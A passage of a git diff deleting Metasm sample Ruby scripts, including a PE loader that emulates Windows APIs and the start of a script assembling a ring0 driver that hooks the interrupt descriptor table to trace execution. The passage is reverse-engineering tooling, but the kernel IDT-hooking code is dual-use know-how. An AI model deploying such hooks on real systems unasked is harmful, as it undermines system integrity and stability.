BOOL; -typedef char CHAR; -typedef unsigned long DWORD; -typedef void *HANDLE; -typedef long LONG; -typedef unsigned int UINT; -BOOL ExitWindowsEx __attribute__((dllimport)) __attribute__((stdcall))(UINT uFlags, DWORD dwReason); -HANDLE GetCurrentProcess __attribute__((dllimport)) __attribute__((stdcall))(void); -typedef const CHAR *LPCSTR; -typedef DWORD *PDWORD; -typedef HANDLE *PHANDLE; - -struct _LUID { - DWORD LowPart; - LONG HighPart; -}; -typedef struct _LUID LUID; -BOOL OpenProcessToken __attribute__((dllimport)) __attribute__((stdcall))(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); -typedef struct _LUID *PLUID; -BOOL LookupPrivilegeValueA __attribute__((dllimport)) __attribute__((stdcall))(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid); - -struct _LUID_AND_ATTRIBUTES { - LUID Luid; - DWORD Attributes; -}; -typedef struct _LUID_AND_ATTRIBUTES LUID_AND_ATTRIBUTES; - -struct _TOKEN_PRIVILEGES { - DWORD PrivilegeCount; - LUID_AND_ATTRIBUTES Privileges[1]; -}; -typedef struct _TOKEN_PRIVILEGES *PTOKEN_PRIVILEGES; -typedef struct _TOKEN_PRIVILEGES TOKEN_PRIVILEGES; -BOOL AdjustTokenPrivileges __attribute__((dllimport)) __attribute__((stdcall))(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength); diff --git a/lib/metasm/samples/pe-testrelocs.rb b/lib/metasm/samples/pe-testrelocs.rb deleted file mode 100644 index 98a8e64c4f..0000000000 --- a/lib/metasm/samples/pe-testrelocs.rb +++ /dev/null @@ -1,51 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# in this sample we compile 2 PE files, one executable and one dll -# with the same base address, to check if the base relocation table -# of the dll is correctly encoded -# - -require 'metasm' - -cpu = Metasm::Ia32.new - -pe = Metasm::PE.assemble cpu, <<EOS -.image_base 0x50000 -.section '.text' r w x ; allows merging iat/data/etc -.entrypoint -call foobarplt -xor eax, eax -ret - -.import 'pe-foolib' foobar foobarplt -EOS -pe.encode_file('pe-testreloc.exe', 'exe') - -dll = Metasm::PE.assemble cpu, <<EOS -.image_base 0x50000 -.section '.text' r w x -foobar: -push 0 -push msg ; use non-position independant code -push title -push 0 -call msgbox - -xor eax, eax -ret - -.align 4 -msg db 'foo', 0 -title db 'bar', 0 - -.import user32 MessageBoxA msgbox -.export foobar -.libname 'pe-foolib' -EOS -dll.encode_file('pe-foolib.dll', 'dll') diff --git a/lib/metasm/samples/pe-testrsrc.rb b/lib/metasm/samples/pe-testrsrc.rb deleted file mode 100644 index 082d4d701d..0000000000 --- a/lib/metasm/samples/pe-testrsrc.rb +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# compiles a PE file with the specified resource directory -# TODO build an icon or something -# - -require 'metasm' - -pe = Metasm::PE.assemble Metasm::Ia32.new, <<EOS -.entrypoint - xor eax, eax - ret -EOS - -rsrc = { 1 => { 1 => { 2 => 'xxx' }, 'toto' => { 12 => 'tata' } } } -pe.resource = Metasm::COFF::ResourceDirectory.from_hash rsrc - -pe.encode_file('pe-testrsrc.exe') diff --git a/lib/metasm/samples/pe_listexports.rb b/lib/metasm/samples/pe_listexports.rb deleted file mode 100644 index 152f4026aa..0000000000 --- a/lib/metasm/samples/pe_listexports.rb +++ /dev/null @@ -1,31 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this script takes a list of dll filenames as arguments, and outputs each lib export -# libname, followed by the list of the exported symbol names, in a format usable -# by the PE class autoimport functionnality (see metasm/os/windows.rb) -# - -require 'metasm' - -ARGV.each { |f| - pe = Metasm::PE.decode_file_header(f) rescue next - pe.decode_exports - next if not pe.export or not pe.export.libname - puts pe.export.libname.sub(/\.dll$/i, '') - line = '' - pe.export.exports.each { |e| - next if not e.name - # next if not e.target # allow forwarders ? (may change name) - e = ' ' << e.name - if line.length + e.length >= 160 - puts line - line = '' - end - line << e - } - puts line if not line.empty? -} diff --git a/lib/metasm/samples/peencode.rb b/lib/metasm/samples/peencode.rb deleted file mode 100644 index b30b580e03..0000000000 --- a/lib/metasm/samples/peencode.rb +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env ruby - -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm' -$opts = { :execlass => Metasm::PE, :srctype_data => 'c' } -load File.join(File.dirname(__FILE__), 'exeencode.rb') - -__END__ -__stdcall int MessageBox(int, char*, char*, int); -__stdcall void ExitProcess(int); -void main(void) -{ - MessageBox(0, "kikoo", "lol", 0); - ExitProcess(0); -} diff --git a/lib/metasm/samples/peldr.rb b/lib/metasm/samples/peldr.rb deleted file mode 100644 index e98220ffb1..0000000000 --- a/lib/metasm/samples/peldr.rb +++ /dev/null @@ -1,494 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# Map a PE file under another OS using DynLdr, API imports are redirected to ruby callback for emulation -# - -require 'metasm' - -class PeLdr - attr_accessor :pe, :load_address - DL = Metasm::DynLdr - - # load a PE file, setup basic IAT hooks (raises "unhandled lib!import") - def initialize(file, hooktype=:iat) - if file.kind_of? Metasm::PE - @pe = file - elsif file[0, 2] == 'MZ' and file.length > 0x3c - @pe = Metasm::PE.decode(file) - else # filename - @pe = Metasm::PE.decode_file(file) - end - @load_address = DL.memory_alloc(@pe.optheader.image_size) - raise 'malloc' if @load_address == 0xffff_ffff - - puts "map sections" if $DEBUG - DL.memory_write(@load_address, @pe.encoded.data[0, @pe.optheader.headers_size].to_str) - @pe.sections.each { |s| - DL.memory_write(@load_address+s.virtaddr, s.encoded.data.to_str) - } - - puts "fixup sections" if $DEBUG - off = @load_address - @pe.optheader.image_base - @pe.relocations.to_a.each { |rt| - base = rt.base_addr - rt.relocs.each { |r| - if r.type == 'HIGHLOW' - ptr = @load_address + base + r.offset - old = DL.memory_read(ptr, 4).unpack('V').first - DL.memory_write_int(ptr, old + off) - end - } - } - - @iat_cb = {} - @eat_cb = {} - case hooktype - when :iat - puts "hook IAT" if $DEBUG - @pe.imports.to_a.each { |id| - ptr = @load_address + id.iat_p - id.imports.each { |i| - n = "#{id.libname}!#{i.name}" - cb = DL.callback_alloc_c('void x(void)') { raise "unemulated import #{n}" } - DL.memory_write_int(ptr, cb) - @iat_cb[n] = cb - ptr += 4 - } - } - when :eat, :exports - puts "hook EAT" if $DEBUG - ptr = @load_address + @pe.export.func_p - @pe.export.exports.each { |e| - n = e.name || e.ordinal - cb = DL.callback_alloc_c('void x(void)') { raise "unemulated export #{n}" } - DL.memory_write_int(ptr, cb - @load_address) # RVA - @eat_cb[n] = cb - ptr += 4 - } - end - end - - # reset original expected memory protections for the sections - # the IAT may reside in a readonly section, so call this only after all hook_imports - def reprotect_sections - @pe.sections.each { |s| - p = '' - p << 'r' if s.characteristics.include? 'MEM_READ' - p << 'w' if s.characteristics.include? 'MEM_WRITE' - p << 'x' if s.characteristics.include? 'MEM_EXECUTE' - DL.memory_perm(@load_address + s.virtaddr, s.virtsize, p) - } - end - - # add a specific hook for an IAT function - # accepts a function pointer in proto - # exemple: hook_import('KERNEL32.dll', 'GetProcAddress', '__stdcall int f(int, char*)') { |h, name| puts "getprocaddr #{name}" ; 0 } - def hook_import(libname, impname, proto, &b) - @pe.imports.to_a.each { |id| - next if id.libname != libname - ptr = @load_address + id.iat_p - id.imports.each { |i| - if i.name == impname - DL.callback_free(@iat_cb["#{libname}!#{impname}"]) - if proto.kind_of? Integer - cb = proto - else - cb = DL.callback_alloc_c(proto, &b) - @iat_cb["#{libname}!#{impname}"] = cb - end - DL.memory_write_int(ptr, cb) - end - ptr += 4 - } - } - end - - # add a specific hook in the export table - # exemple: hook_export('ExportedFunc', '__stdcall int f(int, char*)') { |i, p| blabla ; 1 } - def hook_export(name, proto, &b) - ptr = @load_address + @pe.export.func_p - @pe.export.exports.each { |e| - n = e.name || e.ordinal - if n == name - DL.callback_free(@eat_cb[name]) - if proto.kind_of? Integer - cb = proto - else - cb = DL.callback_alloc_c(proto, &b) - @eat_cb[name] = cb - end - DL.memory_write_int(ptr, cb - @load_address) # RVA - end - ptr += 4 - } - end - - # run the loaded PE entrypoint - def run_init - ptr = @pe.optheader.entrypoint - if ptr != 0 - ptr += @load_address - DL.raw_invoke(ptr, [@load_address, 1, 1], 1) - end - end - - # similar to DL.new_api_c for the mapped PE - def new_api_c(proto) - proto += ';' # allow 'int foo()' - cp = DL.host_cpu.new_cparser - cp.parse(proto) - cp.toplevel.symbol.each_value { |v| - next if not v.kind_of? Metasm::C::Variable # enums - if e = pe.export.exports.find { |e_| e_.name == v.name and e_.target } - DL.new_caller_for(cp, v, v.name.downcase, @load_address + pe.label_rva(e.target)) - end - } - - cp.numeric_constants.each { |k, v, f| - n = k.upcase - n = "C#{n}" if n !~ /^[A-Z]/ - DL.const_set(n, v) if not DL.const_defined?(n) and v.kind_of? Integer - } - end - - # maps a TEB/PEB in the current process, sets the fs register to point to it - def self.setup_teb - @@teb = DL.memory_alloc(4096) - @@peb = DL.memory_alloc(4096) - populate_teb - populate_peb - fs = allocate_ldt_entry_teb - DL.new_func_c('__fastcall void set_fs(int i) { asm("mov fs, ecx"); }') { DL.set_fs(fs) } - end - - # fills a fake TEB structure - def self.populate_teb - DL.memory_write(@@teb, 0.chr*4096) - set = lambda { |off, val| DL.memory_write_int(@@teb+off, val) } - # the stack will probably never go higher than that whenever in the dll... - set[0x4, DL.new_func_c('int get_sp(void) { asm("mov eax, esp and eax, ~0xfff"); }') { DL.get_sp }] # stack_base - set[0x8, 0x10000] # stack_limit - set[0x18, @@teb] # teb - set[0x30, @@peb] # peb - end - - def self.populate_peb - DL.memory_write(@@peb, 0.chr*4096) - #set = lambda { |off, val| DL.memory_write_int(@@peb+off, val) } - end - - def self.teb ; @@teb ; end - def self.peb ; @@peb ; end - - # allocate an LDT entry for the teb, returns a value suitable for the fs selector - def self.allocate_ldt_entry_teb - entry = 1 - # ldt_entry base_addr size_in_pages - # 32bits:1 type:2 (0=data) readonly:1 limit_in_pages:1 seg_not_present:1 usable:1 - struct = [entry, @@teb, 1, 0b1_0_1_0_00_1].pack('VVVV') - Kernel.syscall(123, 1, DL.str_ptr(struct), struct.length) # __NR_modify_ldt - (entry << 3) | 7 - end - - setup_teb -end - -# generate a fake PE which exports stuff found in k32/ntdll -# so that other lib may directly scan this PE with their own getprocaddr -class FakeWinAPI < PeLdr - attr_accessor :win_version - attr_accessor :exports - - def initialize(elist=nil) - @exports = [] - @win_version = { :major => 5, :minor => 1, :build => 2600, :sp => 'Service pack 3', :sp_major => 3, :sp_minor => 0 } - - # if you know the exact list you need, put it there (much faster) - if not elist - elist = Metasm::WindowsExports::EXPORT.map { |k, v| k if v =~ /kernel32|ntdll/i }.compact - elist |= ['free', 'malloc', 'memset', '??2@YAPAXI@Z', '_initterm', '_lock', '_unlock', '_wcslwr', '_wcsdup', '__dllonexit'] - end - - src = ".libname 'emu_winapi'\ndummy: int 3\n" + elist.map { |e| ".export #{e.inspect} dummy" }.join("\n") - super(Metasm::PE.assemble(Metasm::Ia32.new, src).encode_string(:lib), :eat) # put 'nil' instead of :eat if all exports are emu - - @heap = {} - malloc = lambda { |sz| str = 0.chr*sz ; ptr = DL.str_ptr(str) ; @heap[ptr] = str ; ptr } - - lasterr = 0 - - # kernel32 - hook_export('CloseHandle', '__stdcall int f(int)') { |a| 1 } - hook_export('DuplicateHandle', '__stdcall int f(int, int, int, void*, int, int, int)') { |*a| DL.memory_write_int(a[3], a[1]) ; 1 } - hook_export('EnterCriticalSection', '__stdcall int f(void*)') { 1 } - hook_export('GetCurrentProcess', '__stdcall int f(void)') { -1 } - hook_export('GetCurrentProcessId', '__stdcall int f(void)') { Process.pid } - hook_export('GetCurrentThreadId', '__stdcall int f(void)') { Process.pid } - hook_export('GetEnvironmentVariableW', '__stdcall int f(void*, void*, int)') { |name, resp, sz| - next 0 if name == 0 - s = DL.memory_read_wstrz(name) - s = s.unpack('v*').pack('C*') rescue nil -puts "GetEnv #{s.inspect}" if $VERBOSE - v = ENV[s].to_s - if resp and v.length*2+2 <= sz - DL.memory_write(resp, (v.unpack('C*') << 0).pack('v*')) - v.length*2 # 0 if not found - else - v.length*2+2 - end - } - hook_export('GetLastError', '__stdcall int f(void)') { lasterr } - hook_export('GetProcAddress', '__stdcall int f(int, char*)') { |h, v| - v = DL.memory_read_strz(v) if v >= 0x10000 -puts "GetProcAddr #{'0x%x' % h}, #{v.inspect}" if $VERBOSE - @eat_cb[v] or raise "unemulated getprocaddr #{v}" - } - hook_export('GetSystemInfo', '__stdcall void f(void*)') { |ptr| - DL.memory_write(ptr, [0, 0x1000, 0x10000, 0x7ffeffff, 1, 1, 586, 0x10000, 0].pack('V*')) - 1 - } - hook_export('GetSystemTimeAsFileTime', '__stdcall void f(void*)') { |ptr| - v = ((Time.now - Time.mktime(1971, 1, 1, 0, 0, 0) + 370*365.25*24*60*60) * 1000 * 1000 * 10).to_i - DL.memory_write(ptr, [v & 0xffffffff, (v >> 32 & 0xffffffff)].pack('VV')) - 1 - } - hook_export('GetTickCount', '__stdcall int f(void)') { (Time.now.to_i * 1000) & 0xffff_ffff } - hook_export('GetVersion', '__stdcall int f(void)') { (@win_version[:build] << 16) | (@win_version[:major] << 8) | @win_version[:minor] } - hook_export('GetVersionExA', '__stdcall int f(void*)') { |ptr| - sz = DL.memory_read(ptr, 4).unpack('V').first - data = [@win_version[:major], @win_version[:minor], @win_version[:build], 2, @win_version[:sp], @win_version[:sp_major], @win_version[:sp_minor]].pack('VVVVa128VV') - DL.memory_write(ptr+4, data[0, sz-4]) - 1 - } - hook_export('HeapAlloc', '__stdcall int f(int, int, int)') { |h, f, sz| malloc[sz] } - hook_export('HeapCreate', '__stdcall int f(int, int, int)') { 1 } - hook_export('HeapFree', '__stdcall int f(int, int, int)') { |h, f, p| @heap.delete p ; 1 } - hook_export('InterlockedCompareExchange', '__stdcall int f(int*, int, int)'+ - '{ asm("mov eax, [ebp+16] mov ecx, [ebp+12] mov edx, [ebp+8] lock cmpxchg [edx], ecx"); }') - hook_export('InterlockedExchange', '__stdcall int f(int*, int)'+ - '{ asm("mov eax, [ebp+12] mov ecx, [ebp+8] lock xchg [ecx], eax"); }') - hook_export('InitializeCriticalSectionAndSpinCount', '__stdcall int f(int, int)') { 1 } - hook_export('InitializeCriticalSection', '__stdcall int f(void*)') { 1 } - hook_export('LeaveCriticalSection', '__stdcall int f(void*)') { 1 } - hook_export('QueryPerformanceCounter', '__stdcall int f(void*)') { |ptr| - v = (Time.now.to_f * 1000 * 1000).to_i - DL.memory_write(ptr, [v & 0xffffffff, (v >> 32 & 0xffffffff)].pack('VV')) - 1 - } - hook_export('SetLastError', '__stdcall int f(int)') { |i| lasterr = i ; 1 } - hook_export('TlsAlloc', '__stdcall int f(void)') { 1 } - - # ntdll - readustring = lambda { |p| DL.memory_read(*DL.memory_read(p, 8).unpack('vvV').values_at(2, 0)) } - hook_export('RtlEqualUnicodeString', '__stdcall int f(void*, void*, int)') { |s1, s2, cs| - s1 = readustring[s1] - s2 = readustring[s2] -puts "RtlEqualUnicodeString #{s1.unpack('v*').pack('C*').inspect}, #{s2.unpack('v*').pack('C*').inspect}, #{cs}" if $VERBOSE - if cs == 1 - s1 = s1.downcase - s2 = s2.downcase - end - s1 == s2 ? 1 : 0 - } - hook_export('MultiByteToWideChar', '__stdcall int f(int, int, void*, int, void*, int)') { |cp, fl, ip, is, op, os| - is = DL.memory_read_strz(ip).length if is == 0xffff_ffff - if os == 0 - is - elsif os >= is*2 # not sure with this.. - DL.memory_write(op, DL.memory_read(ip, is).unpack('C*').pack('v*')) - is - else 0 - end - - } - hook_export('LdrUnloadDll', '__stdcall int f(int)') { 0 } - - # msvcrt - hook_export('free', 'void f(int)') { |i| @heap.delete i ; 0} - hook_export('malloc', 'int f(int)') { |i| malloc[i] } - hook_export('memset', 'char* f(char* p, char c, int n) { while (n--) p[n] = c; return p; }') - hook_export('??2@YAPAXI@Z', 'int f(int)') { |i| raise 'fuuu' if i > 0x100000 ; malloc[i] } # at some point we're called with a ptr as arg, may be a peldr bug - hook_export('__dllonexit', 'int f(int, int, int)') { |i, ii, iii| i } - hook_export('_initterm', 'void f(void (**p)(void), void*p2) { while(p < p2) { if (*p) (**p)(); p++; } }') - hook_export('_lock', 'void f(int)') { 0 } - hook_export('_unlock', 'void f(int)') { 0 } - hook_export('_wcslwr', '__int16* f(__int16* p) { int i=-1; while (p[++i]) p[i] |= 0x20; return p; }') - hook_export('_wcsdup', 'int f(__int16* p)') { |p| - cp = DL.memory_read_wstrz(p) + "\0\0" - p = DL.str_ptr(cp) - @heap[p] = cp - p - } - end - - def hook_export(*a, &b) - @exports |= [a.first] - super(*a, &b) - end - - # take another PeLdr and patch its IAT with functions from our @exports (eg our explicit export hooks) - def intercept_iat(ldr) - ldr.pe.imports.to_a.each { |id| - id.imports.each { |i| - next if not @exports.include? i.name or not @eat_cb[i.name] - ldr.hook_import(id.libname, i.name, @eat_cb[i.name]) - } - } - end -end - -if $0 == __FILE__ - dl = Metasm::DynLdr - - l = PeLdr.new('dbghelp.dll') - #dl.memory_write(l.load_address + 0x33b10, "\x90\xcc") # break on SymInitializeW - - puts 'dbghelp@%x' % l.load_address if $VERBOSE - - wapi = FakeWinAPI.new %w[CloseHandle DuplicateHandle EnterCriticalSection GetCurrentProcess GetCurrentProcessId GetCurrentThreadId GetEnvironmentVariableW GetLastError GetProcAddress GetSystemInfo GetSystemTimeAsFileTime GetTickCount GetVersion GetVersionExA HeapAlloc HeapCreate HeapFree InterlockedCompareExchange InterlockedExchange InitializeCriticalSectionAndSpinCount InitializeCriticalSection LeaveCriticalSection QueryPerformanceCounter SetLastError TlsAlloc RtlEqualUnicodeString MultiByteToWideChar free malloc memset ??2@YAPAXI@Z __dllonexit _initterm _lock _unlock _wcslwr _wcsdup GetModuleHandleA LoadLibraryA NtQueryObject NtQueryInformationProcess LdrUnloadDll] - puts 'wapi@%x' % wapi.load_address if $VERBOSE - - wapi.hook_export('GetModuleHandleA', '__stdcall int f(char*)') { |ptr| - s = dl.memory_read_strz(ptr) if ptr - case s - when /kernel32|ntdll/i; wapi.load_address - else 0 - end - } - wapi.hook_export('LoadLibraryA', '__stdcall int f(char*)') { |ptr| - s = dl.memory_read_strz(ptr) - case s - when /kernel32|ntdll/i; wapi.load_address - else puts "LoadLibrary #{s.inspect}" ; 0 - end - } - wapi.hook_export('NtQueryObject', '__stdcall int f(int, int, void*, int, int*)') { |h, type, resp, sz, psz| -puts "NtQueryObject #{h}, #{type}, #{sz}" if $VERBOSE - if h == 42 and type == 2 and sz >= 24 - dl.memory_write(resp, [14, 16, resp+8].pack('vvV') + "Process\0".unpack('C*').pack('v*')) - dl.memory_write_int(psz, 24) if psz - 0 - else - 0x8000_0000 - end - } - wapi.hook_export('NtQueryInformationProcess', '__stdcall int f(int, int, void*, int, int*)') { |h, type, resp, sz, psz| -puts "NtQueryInformationProcess #{h}, #{type}, #{sz}" if $VERBOSE - if h == 42 and type == 0 - # reservd peb res res ptr_to_pid - peb = 0xdead0000 - dl.memory_write(resp, [42, peb, 0, 0, resp, 0].pack('V*')) - dl.memory_write_int(psz, 24) if psz - 0 - else - 0x8000_0000 - end - } -#puts wapi.exports.join(' ') # generate arglist for FakeWinAPI.new -# TODO hook the resolv function of dbghelp to list what it checks - - wapi.intercept_iat(l) - - - l.reprotect_sections - - l.new_api_c <<EOS -#define SYMOPT_CASE_INSENSITIVE 0x00000001 -#define SYMOPT_UNDNAME 0x00000002 -#define SYMOPT_DEFERRED_LOADS 0x00000004 -#define SYMOPT_NO_CPP 0x00000008 -#define SYMOPT_LOAD_LINES 0x00000010 -#define SYMOPT_OMAP_FIND_NEAREST 0x00000020 -#define SYMOPT_LOAD_ANYTHING 0x00000040 -#define SYMOPT_IGNORE_CVREC 0x00000080 -#define SYMOPT_NO_UNQUALIFIED_LOADS 0x00000100 -#define SYMOPT_FAIL_CRITICAL_ERRORS 0x00000200 -#define SYMOPT_EXACT_SYMBOLS 0x00000400 -#define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x00000800 -#define SYMOPT_IGNORE_NT_SYMPATH 0x00001000 -#define SYMOPT_INCLUDE_32BIT_MODULES 0x00002000 -#define SYMOPT_PUBLICS_ONLY 0x00004000 -#define SYMOPT_NO_PUBLICS 0x00008000 -#define SYMOPT_AUTO_PUBLICS 0x00010000 -#define SYMOPT_NO_IMAGE_SEARCH 0x00020000 -#define SYMOPT_SECURE 0x00040000 -#define SYMOPT_NO_PROMPTS 0x00080000 -#define SYMOPT_DEBUG 0x80000000 - -typedef int BOOL; -typedef char CHAR; -typedef unsigned long DWORD; -typedef unsigned __int64 DWORD64; -typedef void *HANDLE; -typedef unsigned __int64 *PDWORD64; -typedef void *PVOID; -typedef unsigned long ULONG; -typedef unsigned __int64 ULONG64; -typedef const CHAR *PCSTR; -typedef CHAR *PSTR; - -struct _SYMBOL_INFO { - ULONG SizeOfStruct; - ULONG TypeIndex; - ULONG64 Reserved[2]; - ULONG info; - ULONG Size; - ULONG64 ModBase; - ULONG Flags; - ULONG64 Value; - ULONG64 Address; - ULONG Register; - ULONG Scope; - ULONG Tag; - ULONG NameLen; - ULONG MaxNameLen; - CHAR Name[1]; -}; -typedef struct _SYMBOL_INFO *PSYMBOL_INFO; - -typedef __stdcall BOOL (*PSYM_ENUMERATESYMBOLS_CALLBACK)(PSYMBOL_INFO pSymInfo, ULONG SymbolSize, PVOID UserContext); -__stdcall DWORD SymGetOptions(void); -__stdcall DWORD SymSetOptions(DWORD SymOptions __attribute__((in))); -__stdcall BOOL SymInitialize(HANDLE hProcess __attribute__((in)), PSTR UserSearchPath __attribute__((in)), BOOL fInvadeProcess __attribute__((in))); -__stdcall DWORD64 SymLoadModule64(HANDLE hProcess __attribute__((in)), HANDLE hFile __attribute__((in)), PSTR ImageName __attribute__((in)), PSTR ModuleName __attribute__((in)), DWORD64 BaseOfDll __attribute__((in)), DWORD SizeOfDll __attribute__((in))); -__stdcall BOOL SymSetSearchPath(HANDLE hProcess __attribute__((in)), PSTR SearchPathA __attribute__((in))); -__stdcall BOOL SymFromAddr(HANDLE hProcess __attribute__((in)), DWORD64 Address __attribute__((in)), PDWORD64 Displacement __attribute__((out)), PSYMBOL_INFO Symbol __attribute__((in)) __attribute__((out))); -__stdcall BOOL SymEnumSymbols(HANDLE hProcess __attribute__((in)), ULONG64 BaseOfDll __attribute__((in)), PCSTR Mask __attribute__((in)), PSYM_ENUMERATESYMBOLS_CALLBACK EnumSymbolsCallback __attribute__((in)), PVOID UserContext __attribute__((in))); -EOS - - - puts 'run_init' - l.run_init - - puts 'sym_init' - dl.syminitialize(42, 0, 0) - puts 'sym_setopt' - dl.symsetoptions(dl.symgetoptions|dl::SYMOPT_DEFERRED_LOADS|dl::SYMOPT_NO_PROMPTS) - puts 'sym_setsearch' - sympath = ENV['_NT_SYMBOL_PATH'] || 'srv**/tmp/symbols*http://msdl.microsoft.com/download/symbols' - dl.symsetsearchpath(42, sympath) - - puts 'sym_loadmod' - tg = PeLdr.new('kernel32.dll') - dl.symloadmodule64(42, 0, 0, 0, tg.load_address, 0) - - puts 'walk' - symstruct = [0x58].pack('L') + 0.chr*4*19 + [512].pack('L') # sizeofstruct, ..., nameszmax - text = tg.pe.sections.find { |s| s.name == '.text' } - # SymEnumSymbols - text.rawsize.times { |o| - sym = symstruct + 0.chr*512 # name concat'ed after the struct - off = 0.chr*8 - if dl.symfromaddr(42, tg.load_address+text.virtaddr+o, off, sym) and off.unpack('L').first == 0 - symnamelen = sym[19*4, 4].unpack('L').first - puts ' %x %s' % [text.virtaddr+o, sym[0x54, symnamelen].inspect] -break - end - puts ' %x/%x' % [o, text.rawsize] if $VERBOSE and o & 0xffff == 0 - } - puts -end diff --git a/lib/metasm/samples/preprocess-flatten.rb b/lib/metasm/samples/preprocess-flatten.rb deleted file mode 100644 index 706019ff5a..0000000000 --- a/lib/metasm/samples/preprocess-flatten.rb +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this file takes preprocessor files as arguments -# it preprocesses their content and dump the result to stdout -# it also dumps all macro definitions -# - -require 'metasm/preprocessor' - -p = Metasm::Preprocessor.new -p.feed(ARGF.read) -raw = p.dump -puts p.dump_macros(p.definition.keys, false) -puts raw diff --git a/lib/metasm/samples/r0trace.rb b/lib/metasm/samples/r0trace.rb deleted file mode 100644 index 2e4b60b14e..0000000000 --- a/lib/metasm/samples/r0trace.rb +++ /dev/null @@ -1,308 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# This creates/uses a ring0 driver for tracing a program -# x86/windows/singlecore only -# the scripts allows interacting with the driver -# you still have to set the target thread in singlestep mode (eg using Debugger) - -# How does it work: -# the driver hooks the IDT int1/int0f (NOT SMP PROOF) -# on int1, it logs eip in a memory buffer -# on int0f, it returns the memory buffer (memcopy to mem pointed by eax) -# the buffer 1st dword is the number of used dwords in the buffer (0 = empty) -# on overflow, eips are lost - -require 'metasm' -include Metasm - -$drv = 'r0trace.sys' -# size of the eip buffer (in dwords) -TRACE_BUF_SZ = 4*1024*1024-4 -if not File.exist? $drv -PE.assemble(Ia32.new, <<EOS).encode_file($drv, 'kmod') -#define bufsz #{TRACE_BUF_SZ} - -.data -oldi1 dd 0,0 -oldi15 dd 0,0 -buf dd bufsz dup(?) - -.text -.entrypoint -mov eax, [esp+4] -mov dword ptr [eax+0x34], unload // drv->DriverUnload -call setup_idt -xor eax, eax -mov [buf], eax // buf used size -ret - -unload: -// XXX smp -call get_idt -push [oldi1+4] -push [oldi1] -pop [eax+8*1] -pop [eax+8*1+4] -push [oldi15+4] -push [oldi15] -pop [eax+8*15] -pop [eax+8*15+4] -xor eax, eax -ret - -setup_idt: -// XXX smp -call get_idt -push [eax+8*1] -push [eax+8*1+4] -pop [oldi1+4] -pop [oldi1] -push [eax+8*15] -push [eax+8*15+4] -pop [oldi15+4] -pop [oldi15] - -mov ecx, i1hook -mov [eax+8*1], ecx -mov [eax+8*1+4], ecx -mov ecx, cs -mov [eax+8*1+2], cx -mov word ptr [eax+8*1+4], (15 + (3<<5) + (1<<7)) << 8 // call gate - -mov ecx, i15hook -mov [eax+8*15], ecx -mov [eax+8*15+4], ecx -mov ecx, cs -mov [eax+8*15+2], cx -mov word ptr [eax+8*15+4], (15 + (3<<5) + (1<<7)) << 8 // call gate -ret - -get_idt: -sub esp, 8 -sidt [esp] -mov eax, [esp+2] -add esp, 8 -ret - -i1hook: -push eax -mov eax, buf -cmp [eax], bufsz -jae 1f -inc [eax] -add eax, [eax] -push [esp+4] -pop [eax] -1: -pop eax -iret - -i15hook: -push esi -push edi -push ecx -mov esi, buf -mov edi, eax -mov ecx, [esi] -inc ecx -rep movsd -mov dword ptr [buf], 0 -pop ecx -pop edi -pop esi -iret -EOS -end - -DynLdr.new_api_c <<EOS -typedef int BOOL; -typedef char CHAR; -typedef unsigned long DWORD; -typedef const CHAR *LPCSTR; -typedef DWORD *LPDWORD; -typedef void *HANDLE; -struct SC_HANDLE__ { int unused; }; -struct _SERVICE_STATUS { - DWORD dwServiceType; - DWORD dwCurrentState; - DWORD dwControlsAccepted; - DWORD dwWin32ExitCode; - DWORD dwServiceSpecificExitCode; - DWORD dwCheckPoint; - DWORD dwWaitHint; -}; -typedef struct SC_HANDLE__ *SC_HANDLE; -typedef struct _SERVICE_STATUS *LPSERVICE_STATUS; - -__stdcall BOOL CloseServiceHandle(SC_HANDLE hSCObject __attribute__((in))); -__stdcall SC_HANDLE CreateServiceA(SC_HANDLE hSCManager __attribute__((in)), LPCSTR lpServiceName __attribute__((in)), LPCSTR lpDisplayName __attribute__((in)), DWORD dwDesiredAccess __attribute__((in)), DWORD dwServiceType __attribute__((in)), DWORD dwStartType __attribute__((in)), DWORD dwErrorControl __attribute__((in)), LPCSTR lpBinaryPathName __attribute__((in)), LPCSTR lpLoadOrderGroup __attribute__((in)), LPDWORD lpdwTagId __attribute__((out)), LPCSTR lpDependencies __attribute__((in)), LPCSTR lpServiceStartName __attribute__((in)), LPCSTR lpPassword __attribute__((in))); -__stdcall BOOL DeleteService(SC_HANDLE hService __attribute__((in))); -__stdcall SC_HANDLE OpenSCManagerA(LPCSTR lpMachineName __attribute__((in)), LPCSTR lpDatabaseName __attribute__((in)), DWORD dwDesiredAccess __attribute__((in))); -__stdcall SC_HANDLE OpenServiceA(SC_HANDLE hSCManager __attribute__((in)), LPCSTR lpServiceName __attribute__((in)), DWORD dwDesiredAccess __attribute__((in))); -__stdcall BOOL StartServiceA(SC_HANDLE hService __attribute__((in)), DWORD dwNumServiceArgs 